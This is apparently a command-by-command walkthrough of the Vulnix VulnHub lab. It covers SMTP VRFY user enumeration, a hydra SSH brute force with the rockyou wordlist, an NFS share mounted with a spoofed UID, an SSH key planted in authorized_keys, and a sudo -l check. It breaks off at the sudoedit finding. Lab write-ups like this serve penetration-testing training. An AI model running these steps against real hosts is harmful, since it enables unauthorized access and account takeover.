SMTP USER VERIFY

SSH BRUTEFORCE

MOUNT SHARE

ADDING USER FROM LOCAL MACHINE TO ACCESS SHARE

ADDING SSH KEY TO MOUNTED SHARE AND THEN SSH TARGET MACHINE

PORT STATE SERVICE

PORT STATE SERVICE

22/tcp open ssh

25/tcp open smtp

79/tcp open finger

110/tcp open pop3

111/tcp open rpcbind

143/tcp open imap

512/tcp open exec

513/tcp open login

514/tcp open shell

993/tcp open imaps

995/tcp open pop3s

2049/tcp open nfs

35989/tcp open unknown

36434/tcp open unknown

37196/tcp open unknown

49416/tcp open unknown

54202/tcp open unknown

root@kali:/home/kali/Desktop/vulnhub/vulnix# nc -nv 192.168.2.129 25

(UNKNOWN) [192.168.2.129] 25 (smtp) open

220 vulnix ESMTP Postfix (Ubuntu)

VRFY vulnix

252 2.0.0 vulnix

VRFY akg

550 5.1.1 <akg>: Recipient address rejected: User unknown in local recipient table

VRFY admin

550 5.1.1 <admin>: Recipient address rejected: User unknown in local recipient table

VRFY user

252 2.0.0 user

root@kali:/home/kali/Desktop/vulnhub/vulnix# hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.2.129 ssh -t 4

password:letmein

user@vulnix:~$ showmount -e 192.168.2.129

Export list for 192.168.2.129:

/home/vulnix *

root@kali:/home/kali/Desktop/vulnhub/vulnix# mount -t nfs 192.168.2.129:/home/vulnix /home/kali/Desktop/vulnhub/vulnix/nfs/ -nolock

root@kali:/home/kali/Desktop/vulnhub/vulnix# ls

fullscan nfs scan

root@kali:/home/kali/Desktop/vulnhub/vulnix# cd nfs/

bash: cd: nfs/: Permission denied

root@kali:/home/kali/Desktop/vulnhub/vulnix# useradd -u 2008 vulnix

root@kali:/home/kali/Desktop/vulnhub/vulnix# su vulnix

$ ls

fullscan nfs scan

$ cd nfs

$ ls

$ ls -la

total 20

drwxr-x--- 2 nobody 4294967294 4096 Sep 2 2012 .

drwxr-xr-x 3 root   root   4096 Jun 9 10:55 ..

-rw-r--r-- 1 nobody 4294967294 220 Apr 3 2012 .bash_logout

-rw-r--r-- 1 nobody 4294967294 3486 Apr 3 2012 .bashrc

-rw-r--r-- 1 nobody 4294967294 675 Apr 3 2012 .profile

root@kali:/home/kali/Desktop/vulnhub/vulnix# ssh-keygen

vulnix@kali:/home/kali/Desktop/vulnhub/vulnix/nfs/.ssh$ echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCa3BZ36skBnv1Vzourvjr0CUi02a2cEpOyfaiUUgMEW3ZERPxzcjG0PmEHWB7Wzsf9jcOlYQgw8nBCUAhmfASzQzexvmQBq8QzkAfzmaaUhCa3msg+UWUMSH4kHWFyxMbX+7TxcjWj8aD3nNgiSwva5lqvogYrczQQi353ocPwY545gM7bwjlRzRJDZGvI8HwEBtHolE1Ps/2FzdaISgEwk9xWopQtYPL2dYR0kRsSxkaVK1dhMvuXJbe2hntL0xJOWIq3mg13fWhiIMK41wVefCxVGk+uZ4cT0WWZf+L1eVLA0GelkN+LfiVs7vFSLJo+kRMjNgP2+3x2um6sOQAdTosUUDWs/jn87M9AEA9ny7dIpxiEbIsAC4AWRwgfINVeC/VaPWJL/8WWdG2Jk2vs67PTrC7GF6wiYxdUgprKjuqjchdKWMCNIvk7jDkV4mzuX0hpfHBHNL4emBK/NNpkZ0kH6U9HOHJs7aGgjsKLb1MJAV3Pplb7zSEToKsFEFU= root@kali > authorized_keys

root@kali:/home/kali/Desktop/vulnhub/vulnix# ssh vulnix@192.168.2.129

vulnix@vulnix:~$ sudo -l

Matching 'Defaults' entries for vulnix on this host:

env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User vulnix may run the following commands on this host:

(root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports